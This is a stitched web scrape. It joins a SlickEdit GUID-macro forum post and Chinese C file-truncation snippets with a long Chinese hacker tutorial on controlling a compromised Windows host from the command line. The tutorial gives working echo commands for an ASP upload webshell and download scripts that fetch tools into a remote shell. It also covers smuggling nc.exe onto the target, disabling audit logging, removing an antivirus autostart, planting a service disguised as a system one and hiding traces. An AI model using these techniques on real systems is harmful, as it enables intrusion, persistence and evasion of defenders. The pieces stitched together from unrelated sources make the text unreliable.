|
It appears that ctrl+k clears the vsapi.dll window
http://community.slickedit.com/index.php/topic,202.html « on: July 31, 2006, 05:20:58 PM » The earlier post on uuidgen prompted me to share my own macro implementation that I created for my own use a few months ago. This macro implementation is self-contained, and doesn't shell out to any other utilties. There are 3 commands and 1 function for generating GUIDs: insert_guid(_str format = 'B'); (command)This generates a new GUID, formatted according to format specifier parameter, and inserts it at the current position in the buffer. Default is Brace Format. Use it on the command line like so: insert-guid g copy_guid(_str format = 'B'); (command)Same as above, but places the results on the clipboard. This way you can generate a GUID without having an edit buffer open. On the command line: copy-guid b gui_insert_guid(); (command)Shows a small dialog, allowing you to generate multiple GUIDs, or to insert the same GUID in multiple string formats. _str guid_create_string(_str format); (function)Works the same as insert_guid, but returns the string. For use in your own macro functions and forms. The string formats for GUID output are documented in the source guidgen.e, at the top, in the Javadoc for insert_guid. But to pique your interest... - 'B' - Brace format: {F3410386-1DBB-4035-A293-440A106A6665}
- 'G' - General format: F3410386-1DBB-4035-A293-440A106A6665
- 'P' - Paren format: (F3410386-1DBB-4035-A293-440A106A6665)
- 'N' - Number format: F34103861DBB4035A293440A106A6665
- 'C' - Const declaration: static const GUID <<name>> = { 0xf3410386, 0x1dbb, 0x4035, { 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65 } };
- 'D' - DEFINE_GUID macro: DEFINE_GUID(<<name>>, 0x17342D4B, 0x906F, 0x4706, 0x0F, 0xAC, 0xC5, 0x8E, 0x4D, 0xE7, 0x32, 0x29);
- 'O' - IMPLEMENT_OLECREATE macro: IMPLEMENT_OLECREATE(<<class>>, <<external_name>>, 0xf3410386, 0x1dbb, 0x4035, 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65);
In my own testing I have generated over 50,000 GUIDs without a duplicate, so the algorithm looks to be holding up so far. But if you'd like to verify the reliability before using in your own code, I have provided some unit testing commands as well. Open an empy edit buffer and run the following command line: guid-unittest-duplicates 200 , where 200 is the number of GUIDs you want to create. This will populate the buffer with the requested number of GUIDs in brace format using insert_guid('b');. Any number less than 2000 should complete in a reasonable amount of time. 2000 takes around 5 seconds on my Pentium M 2.0 GHz, 1 GB RAM. The results of the unit testing are displayed in the VSAPI message window since it uses the say() funtion. You can run the unit test multiple times in the same edit buffer, and it will append the results to the end of the previous test. For those of you interested in such things, the GUIDs generated are created (and marked) as version 4. This means that all bytes of the GUID were created using a random number, and does not use a MAC address as a basis.
windows下似乎可以调用API SetFileSize 但是不甚确定,楼主自己查查MSDN吧 呵呵 可以通过系统提供的API来设置文件结尾, 在Linux下可以包含fcntl.h,使用int chsize(int handle, long size); 在windows下有SetFilePointer SetEndOfFile,请参阅MSDN 这些都是文件稍微底层的操作,所以标准C库函数里面没有 #include <io.h> int main(void) { int handle; char buf[11] = "0123456789 "; /* create text file containing 10 bytes */ handle = open( "DUMMY.FIL ", O_CREAT); write(handle, buf, strlen(buf)); /* truncate the file to 5 bytes in size */ chsize(handle, 5); /* close the file */ close(handle); return 0; } 下面 ftruncate 好象是linux上的吧,windows上没有
long pos; FILE *file; file=fopen( "filename ", "w+ "); pos=ftell(file); //获取当前文件指针位置
ftruncate(fileno(file),pos); //根据大小截取文件。
#include "stdafx.h " #include "iostream " #include "stdio.h " #include "stdlib.h " #include "windows.h " #include "io.h "
using namespace std;
int main() { FILE* f = fopen( "a.txt ", "r+ ");
char sz[128];
fgets(sz, 128, f);
HANDLE h = (HANDLE)_get_osfhandle(_fileno(f));
SetFilePointer(h, ftell(f), NULL, FILE_BEGIN); SetEndOfFile(h); fclose(f);
return 0; }
http://v.youku.com/v_show/id_XMjYyOTk4OTgw.html
Do All in Cmd Shell (一切尽在命令行)
http://www.isgrey.com 2004-04-24 -------------------------------------------------------
目录 1,前言 2,文件传输 3,系统配置 4,网络配置 5,软件安装 6,Windows脚本 7,附言
前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。 本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with
将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,这个命令是在本地命令行中执行的,不要弄错了。
另外,通过IIS上传会留日志,要记得清除哦。
2,自动下载到网页缓存中。 例如:
start its:http://www.sometips.com/soft/ps.exe
在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5" dir /s ps[1].exe
于是获得ps.exe的具体位置(每台主机都不一样),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录
2004-01-24 14:24 49,152 ps[1].exe 1 个文件 49,152 字节
最后: copy AB094JIT\ps[1].exe c:\path\ps.exe del AB094JIT\ps[1].exe
补充说明: 对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。 本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。 另外,用ms-its代替its效果完全一样。
3,Echo一个脚本下载web资源。 现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。 仍然是echo版:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
举例——下载ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。 前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!
echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)
无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:
fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"\")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl\65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。 稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs @echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs @echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs @echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs ………… …………(省略若干行) ………… @echo +"">>debug.vbs @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。 如果网速不是很慢的话,整个上传过程大约需要20秒。
几点说明: 1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。 2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。 3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。 4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。 5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置 这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。 好在系统自带的regedit.exe足够用了。
1,读取注册表 先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber" "PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项 先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg echo. >>1.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg echo "TelnetPort"=dword:00000913 >>1.reg echo "NTLM"=dword:00000001 >>1.reg echo. >>1.reg regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KAVRun"=-
3,用inf文件访问注册表 上面对注册表的三个操作,也可以用下面这个inf文件来实现:
[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323 HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1 [My_DelReg_Name] HKLM,SYSTEM\CurrentControlSet\Services\Serv-U HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明: 1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。 0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。 2323也可以用0x913代替。 关于inf文件的详细信息,可以参考DDK帮助文档。 2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。 128表示给定路径,该参数其他取值及含义参见MSDN。 特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。 3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。
增加一个服务:
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=inetsvr,,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=提供对 Internet 信息服务管理的支持。 ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明: 1,最后四项分别是 服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost); 启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。 (注意,0和1只能用于驱动程序) 错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。 服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。 这四项是必须要有的。 2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。 3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。 1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的: "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\ 00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00 可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。 2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。 3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令语法: secedit /analyze secedit /configure secedit /export secedit /validate secedit /refreshpolicy 5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:
假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:
[version] signature="$CHICAGO$" [System Access] MinimumPasswordLength = 6 PasswordComplexity = 1
保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。 /quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log del gp.*
另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf
那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。
再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。 echo版:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Event Audit] >>1.inf echo AuditSystemEvents=0 >>1.inf echo AuditObjectAccess=0 >>1.inf echo AuditPrivilegeUse=0 >>1.inf echo AuditPolicyChange=0 >>1.inf echo AuditAccountManage=0 >>1.inf echo AuditProcessTracking=0 >>1.inf echo AuditDSAccess=0 >>1.inf echo AuditAccountLogon=0 >>1.inf echo AuditLogonEvents=0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet del 1.*
也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。
比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:
echo Windows Registry Editor Version 5.00 >1.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg echo "forceguest"=dword:00000000 >>1.reg regedit /s 1.reg del 1.reg
而相应的用inf,应该是:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Registry Values] >>1.inf echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log del 1.*
关于命令行下读取组策略的问题。 系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置 Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh…… 这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。
netsh 在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。
1,TCP/IP配置
echo interface ip >s echo show config >>s netsh -f s del s
由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。 这个命令和ipconfig /all差不多。
注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后 net start remoteaccess
2,ARP
echo interface ip >s echo show ipnet >>s netsh -f s del s
这个比arp -a命令多一点信息。
3,TCP/UDP连接
echo interface ip >s echo show tcpconn >>s echo show udpconn >>s netsh -f s del s
这组命令和netstat -an一样。
4,网卡信息 如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。
echo interface ip >s echo show interface >>s netsh -f s del s
netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。
IPSec 首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。 在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:
1,防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。 具体含义如下: -p myfirewall 指定策略名为myfirewall -r rpc-dcom 指定规则名为rpc-dcom -f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -? -n BLOCK 指定筛选操作是“阻塞”。注意,BLOCK必须是大写。 -w reg 将配置写入注册表,重启后仍有效。 -x 立刻激活该策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在,则antiping规则将添加至其中。 注意,该规则同时也阻止了该主机ping别人。
3,对后门进行IP限制 假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。 如果你是动态IP,应该根据IP分配的范围设置规则。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:
c:\>net start schedule Task Scheduler 服务正在启动 .. Task Scheduler 服务已经启动成功。
c:\>time /t 12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg 新加了一项作业,其作业 ID = 1
然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。 如果测试结果不理想,就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。
如果测试通过,那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。 对于XP很简单,一条命令搞定——ipseccmd show filters 而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)
netdiag需要RemoteRegistry服务的支持。所以先启动该服务:
net start remoteregistry
不启动RemoteRegistry就会得到一个错误:
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是: netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装 一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)
WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。 除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=NPF,,winpcap_svr [winpcap_svr] DisplayName=Netgroup Packet Filter ServiceType=0x1 StartType=3 ErrorControl=1 ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。 再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf del _wpcap_.inf if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV copy packet.dll %SYSTEMROOT%\system32\ copy wpcap.dll %SYSTEMROOT%\system32\ del packet.dll del wpcap.dll :COPYDRV if /i %CD%==%SYSTEMROOT%\system32\drivers goto END copy npf.sys %SYSTEMROOT%\system32\drivers\ del npf.sys :END del %0
然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。
注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。 由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。 幸好,Windows补丁包支持命令行安装。 比如:
KB824146.exe -n -z -q
-n 不保留备份 -z 不重起 -q 安静模式
如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q for %%f in (KB??????.exe) do del %%f del %0
Windows脚本 很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1,显示系统版本
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
2,列举进程
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
3,终止进程
@echo for each ps in getobject _ >pk.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程,使用如下语法: cscript pk.vbs 123
如果显示一个0,表示终止成功。
